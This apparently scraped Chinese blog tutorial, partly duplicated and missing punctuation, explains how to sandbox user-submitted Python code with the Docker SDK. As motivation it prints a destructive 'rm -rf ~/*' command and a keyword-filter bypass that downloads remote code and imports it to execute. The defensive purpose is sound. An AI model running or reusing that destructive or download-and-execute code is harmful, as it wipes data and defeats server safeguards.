企业网站建设与实现的论文,wordpress 主题漏洞,如何做网站商城,最好网页设计流程写后端的同学#xff0c;有时候需要在网站上实现一个功能#xff0c;让用户上传或者编写自己的Python代码。后端再运行这些代码。
涉及到用户自己上传代码#xff0c;我们第一个想到的问题#xff0c;就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行有时候需要在网站上实现一个功能让用户上传或者编写自己的Python代码。后端再运行这些代码。
涉及到用户自己上传代码我们第一个想到的问题就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行在不做任何安全过滤的情况下就会导致服务器的Home文件夹被清空。
import os
os.system(rm -rf ~/*)有人想的比较简单直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗
这种想法乍看起来没有问题但细想下就会发现非常天真。如果用户的代码像下面这样写你又要如何应对
import requestscode requests.get(https://www.kingname.info/dangerous_code).textwith open(dangerous_code.py, w) as f:f.write(code)dangerous_module __import__(dangerous_code)
danderous_module.delete_all()其中https://www.kingname.info/dangerous_code对应的代码如下
import os
def delete_all():os.system(rm -rf ~/*)这样就可以绕过关键字检查并成功删除你的文件了。
如果你的网站本身就是一个爬虫管理平台你检查用户自定义的代码时肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。
而且恶意代码不一定是删除你的东西它完全可以直接把你项目下面的所有代码打包上传到它指定的URL中这样就能窃取你网站里面所有代码。
为了避免这样的情况发生我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷独立的环境能确保他即使删除了所有文件也不会影响到你。
显然最简单直接的办法就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。
首先确保你的服务器上面已经有Docker并且正在运行。接下来安装Docker SDK
pip install docker假设你把用户上传的文件放在了user/user_id/upload文件夹下面那么首先你需要生成一个Dockerfile并把这个Dockerfile放到upload文件夹中
from python:3.10run pip install -r requirements.txt
copy . /app
workdir /app当用户添加/修改了第三方库时你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。
接下来我们开始构建镜像并运行代码
import docker
client docker.from_env()client.images.build(pathuser/user_id/upload, tagxxxspider:0.01) # tag后面的名字可以自定义container client.containers.run(xxxspider:0.01, detachTrue, commandscrapy crawl xxx, 其他参数)这个代码运行以后是非阻塞的会立刻返回container对象。当你想查看代码日志时执行
container.logs(tail10) # 显示最后10行日志就可以看到相关的日志了。